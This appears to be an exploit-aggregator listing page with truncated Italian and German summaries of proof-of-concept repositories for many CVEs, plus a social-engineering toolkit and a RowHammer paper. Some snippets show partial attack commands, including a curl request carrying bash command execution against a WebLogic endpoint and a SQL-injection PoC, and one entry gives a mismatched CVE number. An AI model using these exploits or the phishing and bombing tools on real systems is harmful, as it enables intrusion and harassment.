aioScan_CVE-2020-0796

aioScanCVE-2020-0796 Prefazione Basandosi sui POC pubblici, grazie all'uso delle coroutine la velocità di rilevamento è notevolmente migliorata, consentendo ai colleghi dell'operations di eseguire rapidamente scansioni sulla rete interna. Versioni interessate root@kitploit: Windows 10 Version 190...

CVE-2022-26923

CVE-2022-26923 Descrizione Questa vulnerabilità consentiva a un utente con privilegi limitati di elevare i propri privilegi ad amministratore di dominio in un ambiente Active Directory predefinito con il ruolo del server Active Directory Certificate Services AD CS installato. È principalmente...

ingressNightmare-CVE-2025-1974-exps

Ingress Nightmare CVE-2025-1907 Descrizione Questa vulnerabilità consente a un attaccante remoto di eseguire codice arbitrario sulle installazioni interessate di kubernetes/ingress-nginx. Non è richiesta autenticazione per sfruttare questa vulnerabilità. Il difetto specifico risiede nella gestion...

log4j-4255

log4j2 4255 — FilteredObjectInputStream allowlist bypass vi...

Exploit for CVE-2026-53613

CVE-2026-53613 PoC TOCTOU vulnerability in mount8 allowing...

CVE-2025-6018-and-CVE-2025-6019

Prüfen ob verwundbar oder nicht root@kitploit: rpm -q pam || dpkg -l | grep libpam or find /etc/pam.d/ -name '' -exec grep -l 'pamenv' \; 2/dev/null or find /etc/pam.d/ -name '' -exec grep -l 'pamsystemd' \; 2/dev/null or systemctl --version | head -1 Wenn Version enthalten ist:Verwundbare...

Jmeter-CVE-2018-1297-

Jmeter RMI Deserialisierungs-Schwachstelle zur Befehlsausführung CVE-2018-1297 Apache JMeter ist eine Open-Source-Software-Suite, die von der American Apache Software Foundation in Java für Stresstests und Leistungstests geschrieben wurde. Die Versionen 2.x und 3.x enthalten eine...

CVE-2026-35204

CVE-2026-35204 Questo repository rappresenta un PoC per la CVE-2026-35204 Descrizione "Helm è un gestore di pacchetti per Charts per Kubernetes. Dalla versione 4.0.0 to 4.1.3, un plugin Helm appositamente creato, quando installato o aggiornato, causa la scrittura del contenuto del plugin in una...

CVE-2025-60787

CVE-2025-60787 - MotionEye RCE MotionEye v0.43.1b4 OS Command Injection Un proof-of-concept di OS Command Injection per una vulnerabilità in motionEye, un frontend web per il demone motion. La vulnerabilità abusa del parametro di configurazione imagefilename, passato direttamente alla shell senza...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 Un semplice exploit per CVE-2019-2725. Codice di esempio: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

prism

Geladener Würfel: Lösung des Nichtauswahlproblems für skalierbare probabilistische RowHammer-Abwehr Erscheint im 53. International Symposium on Computer Architecture ISCA, 2026. Jeonghyun Woo1, Junsu Kim1, Aamer Jaleel2, Prashant J. Nair1 1 University of British Columbia 2 NVIDIA Gleicher Beitrag...

CVE-2021-26084

CVE-2021-26084 Versioni interessate Versione 6.13.23 6.14.0 ≤ Versione 7.4.11 7.5.0 ≤ Versione 7.11.6 7.12.0 ≤ Versione 7.12.5 Causa, metodo di sfruttamento Confluence utilizza un framework per mappare gli URL alle classi Java, creando quelli che vengono chiamati “action”. Gli URL delle action...

CVE-2025-24813-noPoC

CVE-2025-24813-noPoC Dopo innumerevoli ore non sono riuscito a trovare alcun PoC reale. Sebbene la deserializzazione dei file caricati potrebbe rappresentare una minaccia, tutte le catene di payload che ho testato sono fallite. Testato sulle versioni 9.0.90 e 10.1.15 di Apache Tomcat Non c'è altr...

CVE-2026-13152

CVE-2026-13152: Escalation dei privilegi non autenticata in Custom Fields Account Registration For WooCommerce 1.4 -blue.svg 📖 Panoramica dell'advisory CVE-2026-13152 è una vulnerabilità di escalation dei privilegi non autenticata che colpisce il plugin WordPress Custom Fields Account Registratio...

CVE-2026-5118

🔥 CVE-2026-5118 Divi Form Builder Ein verstecktes Feld. Ein geänderter Wert. Vollzugriff auf die gesamte Website. 🧨 Was kann ein Angreifer tun? 🔬 Schwachstellenanalyse Schwachstellenort root@kitploit: includes/shared/handlers/FormSubmissionHandler.php → createuser Angreifbarer Code root@kitploit:...

CVE-2025-9172

Exploit: Iniezione SQL basata sul tempo tramite /vibes/v1/beacon non autenticato PoC nella console del browser root@kitploit: async = const url = 'http://localhost/wordpress/index.php?restroute=/vibes/v1/beacon'; async function sendresource const body = type: 'navigation', resource, // injected...

CVE-2025-60876

CVE-2025-60876: correzione dell'iniezione nel request-target di busybox wget Una correzione che preserva il comportamento per CVE-2025-60876, una vulnerabilità di iniezione di intestazioni HTTP in BusyBox wget, più la proof-of-concept che la dimostra e gli artefatti per inviare la correzione...

SocialEngineering

SOCIAL ENGINEER 🎯🕵️‍♂️ Un potente toolkit di social engineering che automatizza phishing, OTP/email bombing, email false e altro — creato con ❤️ da @karthithehacker ⚠️ Solo per uso educativo. Non usare questo strumento contro nessuno senza autorizzazione esplicita. 📌 Funzionalità 🎯 Attacchi di...

PowerShell-Suite

PowerShell-Suite Im Internet gibt es großartige Tools und Ressourcen, um nahezu jede Aufgabe in PowerShell zu bewältigen. Manchmal ist es jedoch erforderlich, ein Dienstprogramm für einen bestimmten Zweck zusammenzustellen oder eine ontologische Lücke zu schließen. Dies ist eine Sammlung von...

woodpecker-plugins

Verwendung der woodpecker-plugins Kopieren Sie das Plugin in das Verzeichnis woodpecker-framwork/plugin und starten Sie java -jar woodpecker-framework.1.3.3.jar von https://github.com/woodpecker-appstore weblogic-info Prüfen, ob T3 geöffnet ist: root@kitploit: echo 't3...